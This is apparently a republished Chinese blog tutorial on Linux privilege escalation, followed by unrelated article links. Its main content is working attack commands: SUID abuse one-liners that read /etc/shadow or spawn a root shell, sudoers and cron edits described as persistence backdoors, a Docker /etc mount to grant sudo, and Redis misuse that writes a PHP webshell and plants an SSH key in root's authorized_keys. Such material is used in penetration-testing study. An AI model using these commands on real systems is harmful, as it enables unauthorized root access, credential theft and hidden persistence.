提权——Linux

news2024/11/17 23:35:55

一、系统漏洞提权

#kali的nmap命令

nmap -O 目标ip

  1. 通过当前系统的内核版本搜索当前系统的漏洞,进行利用        搜索漏洞

  2. 对linux系统的漏洞进行利用(脏牛、脏管道等)

    利用漏洞搜索工具,搜索当前系统是否存在一些漏洞

    1. linux-exploit-suggester-master

      下载地址 :GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

    2. linux-smart-enumeration-master

      下载地址 :GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

  3. MSF提权辅助工具

    MSF中有一个模块,叫后渗透测试模块(POST),其中这个模块就可以提供提权 。

    进入msf中 ,搜索 suggester

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > search suggester
    ​
    Matching Modules
    ================
    ​
    #  Name                                      Disclosure Date  Rank    Check  Description
       -  ----                                      ---------------  ----    -----  -----------
       0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
    ​
    ​
    Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

    利用这个后渗透测试模块,进行搜索 可用的提权漏洞 。

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use 0
    msf6 post(multi/recon/local_exploit_suggester) > show options 
    ​
    Module options (post/multi/recon/local_exploit_suggester):
    ​
       Name             Current Setting  Required  Description
       ----             ---------------  --------  -----------
       SESSION                           yes       The session to run this module on
       SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
    ​

    设置session后运行

二、系统配置提权 

1、soduer提权

(1)漏洞产生原因

        当一个普通用户被创建出来时,在执行某些任务时可能需要执行某些命令的权限,管理员可能为了省去麻烦直接将可以执行所有命令权限赋值给这个普通用户。

        且在 /etc/sudoers 文件中设置权限,给普通用户所有权限:

dong ALL=(ALL)  NOPASSWD:ALL #设置所有权限

dong ALL=(ALL)  NOPASSWD:/usr/bin/firewall-cmd  #设置操作防火墙的命令权限,只需要知道该命令所在的位置

(2)利用漏洞

        在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。  

sudo /etc/shadow

(3)复现

第一步:

查看当前有哪些用户

cat /etc/passwd

创建一个新用户

useradd 新用户名

 给新用户设置密码

第二步:

给Sun_happy赋予执行所有命令的权限

在/etc/sudoers中设置

chmod u+x sudoers        #这个文件只有root可以写,因此不能使用chmod 777

命令:

Sun_happy ALL=(ALL)  NOPASSWD:ALL #设置所有权限

第三步:

在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。

命令:

sudo /etc/shadow

         从真实情况来看,sudoers提前其实作用不大,且难以实现,但是该方法是一个非常适合维持权限的方法。

2、suid提权

(1)suid工作机制

Linux进程在运行的时候有以下三个UID:

Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

也就是不论是root还Sun_happy都是没有区别的

Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。

Set UID:Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。

(2)bash

分析bash:

如果我们将suid权限设置到bash上,那么不论是谁执行他都算是属主在执行。

操作

#给bash命令加上suid权限

chmod u+s bash

#利用赋予了s权限的bash来使得普通用户浏览管理员才能查看的文件

sudo Sun_happy        #转到普通用户

id        #查看id

bash -p         #将euid改为root

cat /etc/shadow        #浏览管理员才能查看的文件

        但是这种寄希望于管理员将suid赋予错误的可能性太小,也是只适合修后门维持权限。

(3)检查系统文件s权限

不具危险性的s权限的赋予

linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :

/usr/libexec/pt_chown
/usr/libexec/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/sudo
/usr/sbin/usernetctl
/bin/ping
/bin/ping6
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/pam_timestamp_check
/sbin/unix_chkpwd

具有危险性的s权限的赋予(检查系统配置漏洞时重点关注的对象)

chmod u+s /bin/bash            $ bash -p
chmod u+s /bin/sh            $ sh -p
chmod u+s /bin/env            $ env /bin/sh -p
chmod u+s /bin/vi            $ vi /etc/shadow
chmod u+s /bin/awk            $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat            $ cat /etc/shadow
chmod u+s /usr/bin/curl        $ curl file:///etc/shadow
chmod u+s /bin/find            $ find /etc/passwd -exec cat /etc/shadow \;
                              find /etc/passwd -exec bash -p \;

3、定时器提权

(1)定时器的使用

        定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :

#定时规则

*    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 6) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

#查看已有的定时任务

crontab -l

#创建定时任务

crontab -e

(2)创建一个执行文件

代码如下:

curl http://192.xxx.xxx.xxx/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then
    /opt/lampp/lampp start
    echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

firewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; then
    firewall-cmd --add-port=80/tcp
    echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

 解释:

访问http://192.xxx.xxx.xxx/dashboard/phpinfo.php

(2)创建一个定时器任务

crontab -e

*/1 * * * * /home/Sun_happy/mysite.sh

#检查定时任务是否创建成功

#查看日志

(3)定时任务危险性 

        对于上面的mysite.sh可执行文件来说,其所含的内容是没有危害的,但是稍作修改就会有很大的危害。

 危害代码添加:

#在mysite.sh文件中添加:将s权限赋值给bash

chmod u+s /usr/bin/bash 

#检测

#在mysite.sh文件中添加:使普通用户拥有执行所有命令的权限

echo Sun_happy ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers

#检测

4、docker容器提权  

查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0

例如 :拉取一个centos 容器

docker search centos

docker pull centos

docker images

docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash
​
docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash
​
#docker -i 前端交互模式 -t tty终端显示  privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。

此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:

echo `wugd ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers

最后,直接用sudoers提权方式提权即可。

三、第三方软件提权(redis)

1、利用持久化文件提权

        在redis中,持久化的路径以及持久化文件的名字都可以修改 ,那么可以就可以使用 持久化做webshell .

首先 当前系统需要有web(php、jsp、asp等)环境 。

(1)修改持久化文件路径

#查询当前web环境的路径

# /opt/lampp/htdocs/security
​
config set dir /opt/lampp/htdocs/security

(2)修改持久化文件名字

#根据web环境 进行确定文件名

config set dbfilename  shell.php

(3)向持久化文件中写入木马

set 1 "<?php assert($_POST[1]);?>" ​ #持久化 save

(4)测试

2、利用公钥和私钥登录 

(1)生成公钥和私钥

 ssh-keygen -t rsa

 (2)设置redis的持久化文件的路径和名字

config set dir /root/.ssh  # 设置路径  如果当前root下 没有`.ssh` 自己创建一个
config set dbfilename authorized_keys   # 设置持久化文件的名字 
save

(3)把公钥内容存储到持久化文件中

set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n" 

(4)在生成公钥和私钥的windows上登录

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2133260.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单值二叉树--(C语言)

题目如下&#xff1a; 如果二叉树每个节点都具有相同的值&#xff0c;那么该二叉树就是单值二叉树。 只有给定的树是单值二叉树时&#xff0c;才返回 true&#xff1b;否则返回 false。 示例 1&#xff1a; 输入&#xff1a;[1,1,1,1,1,null,1] 输出&#xff1a;true示例 2&a…

Linux - 探秘/proc/sys/net/ipv4/ip_local_port_range

文章目录 Pre概述默认值及其意义评估需求如何调整临时修改永久修改测试和验证 修改的潜在影响 Pre Linux - 探秘 Linux 的 /proc/sys/vm 常见核心配置 计划&#xff1a; 简要解释 /proc/sys/net/ipv4/ip_local_port_range 文件的功能和作用。介绍该文件的默认值及其影响。说明…

Java设计模式—面向对象设计原则(三) -----> 依赖倒转原则DIP(完整详解,附有代码+案例)

文章目录 3.3 依赖倒转原则(DIP)3.3.1概述3.3.2 案例 3.3 依赖倒转原则(DIP) Dependency Inversion Principle&#xff0c;DIP 3.3.1概述 高层模块不应该依赖低层模块&#xff0c;两者都应该依赖其抽象&#xff1b;抽象不应该依赖细节&#xff0c;细节应该依赖抽象。简单的说…

C++——深部解析哈希

好久不见给大家分享一张图片吧 目录 前言 二、库文件 1、哈希冲突 2 哈希函数 3、闭散列 三 、闭散列的实现和底层逻辑 1、哈希表&#xff08;闭散列&#xff09;的定义 2、哈希表&#xff08;闭散列&#xff09;的插入 3、哈希表&#xff08;闭散列&#xff09;的查找 4.哈希表…

解决Linux服务器上下载pytorch速度过慢的问题

需要下载的是GPU版本的pytorch&#xff0c;版本torch1.13.1cu116 尝试方法1&#xff1a; pip install torch1.13.1cu116 torchvision0.14.1cu116 torchaudio0.13.1 --extra-index-url https://download.pytorch.org/whl/cu116 但是默认是从官网下载&#xff0c;龟速到200kb/s左…

Vscode中启动Vue2.x项目运行正常但templete部分UI组件红色波浪线报错 ts(2339)

Vscode中启动Vue2.x项目运行正常但templete部分UI组件红色波浪线报错 错误示例 原因 Vue - Official 插件升级导致的问题(具体原因有待查询) 解决方案 打开Vscode软件 —> 找到扩展插件 —> 选择Vue - Official —> 安装特定版本(版本 < V2.0.28就行) —> 重…

linux-L7-linux 查看json文件

输入如下进行查看 cat your_file.json | less

深入解析软硬复位

在集成电路IC设计中,复位是一个至关重要的过程,它用于保证芯片的各个模块在启动、故障或其他特定条件下能重新回到初始状态。复位通常可以分为三类:硬复位、软复位以及上电复位。这三类复位虽然都有相似的目标,但其产生机制和作用范围各不相同。 一、硬复位 1.1 定义与原…

Redis底层数据结构(详细篇)

Redis底层数据结构 一、常见数据结构的底层数据结构1、动态字符串SDS&#xff08;Simple Dynamic String&#xff09;组成 2、IntSet组成如何保证动态如何确保有序呢? 底层如何查找的呢? 3、Dict(dictionary)3.1组成3.2 扩容3.3 收缩3.4 rehash 4、ZipList连锁更新问题总结特…

论文阅读《Robust Steganography for High Quality Images》高质量因子图片的鲁棒隐写

TCSVT 2023 中国科学技术大学 Kai Zeng, Kejiang Chen*, Weiming Zhang, Yaofei Wang, Nenghai Yu, "Robust Steganography for High Quality Images," in IEEE Transactions on Circuits and Systems for Video Technology, doi: 10.1109/TCSVT.2023.3250750. 一、…

三方共建 | 网络安全运营中心正式揭牌成立

9月3日&#xff0c;广州迎来了一场网络安全领域的盛事。悦学科技、聚铭网络、微步在线联合打造的7x24小时网络安全运营中心&#xff08;以下简称“中心”&#xff09;正式成立&#xff0c;并在现场举行了庄重而热烈的揭牌仪式。众多行业专家、企业代表齐聚一堂&#xff0c;共同…

【C++ Primer Plus习题】16.2

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: main.cpp #include <iostream> #include <string> #inc…

【Python决策树】ID3方法建立决策树为字典格式,并调用 treelib 显示

首先&#xff0c;我们使用 treelib 库来显示树结构 : ps : 如果 treelib 输出一堆乱码, 可以点进Tree修改 tree.py 大概 930 行左右的部分(去掉encode就行了) if stdout:print(self._reader) # print(self._reader.encode("utf-8"))else:return self._reader将字典…

基于Python的B站热门视频可视化分析与挖掘系统

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长 QQ 名片 :) 1. 项目简介 随着互联网视频平台的迅猛发展&#xff0c;如何从海量的数据中提炼出有价值的信息成为了内容创作者们关注的重点之一。B站&#xff08;哔哩哔哩&#xff09;作为国内领先的年轻人文化社区&#xf…

应用层协议 —— https

目录 http的缺点 https 安全与加密 运营商挟持 常见的加密方式 对称加密 非对称加密 数据摘要&#xff08;数据指纹&#xff09; 不安全加密策略 1 只使用对称加密 2 只使用非对称加密 3 双方都是用非对称加密 4 对称加密和非对称加密 解决方案 CA证书 http的缺点 我们可…

基于鸿蒙API10的RTSP播放器(八:音量和亮度调节功能的整合)

一、前言&#xff1a; 笔者在前面第六、七节文章当中&#xff0c;分别指出了音量和屏幕亮度的前置知识&#xff0c;在本节当中&#xff0c;我们将一并实现这两个功能&#xff0c;从而接续第五节内容。本文的逻辑分三大部分&#xff0c;先说用到的变量&#xff0c;再说界面&…

智慧环保平台建设方案

智慧环保平台建设方案摘要 政策导向与建设背景 背景&#xff1a;全国生态环境保护大会提出坚决打好污染防治攻坚战&#xff0c;推动生态文明建设&#xff0c;目标是在2035年实现生态环境质量根本好转。构建生态文明体系&#xff0c;包括生态文化、生态经济、目标责任、生态文明…

表格标记<table>

一.表格标记、 1table&#xff1a;表格标记 2.caption:表单标题标记 3.tr:表格行标记 4.td:表格中数据单元格标记 5.th:标题单元格 table标记是表格中最外层标记&#xff0c;tr表示表格中的行标记&#xff0c;一对<tr>表示表格中的一行&#xff0c;在<tr>中可…

Excel数据转置|Excel数据旋转90°

Excel数据转置|Excel数据旋转90 将需要转置的数据复制在旁边空格处点击鼠标右键&#xff0c;选择图中转置按钮&#xff0c;即可完成数据的转置。&#xff01;&#xff01;&#xff01;&#xff01;非常有用啊啊啊&#xff01;&#xff01;&#xff01;

嵌入式Linux学习笔记(2)-C语言编译过程

c语言的编译分为4个过程&#xff0c;分别是预处理&#xff0c;编译&#xff0c;汇编&#xff0c;链接。 一、预处理 预处理是c语言编译的第一个阶段&#xff0c;该任务主要由预处理器完成。预处理器会根据预处理指令对源代码进行处理&#xff0c;将预处理指令替换为相应的内容…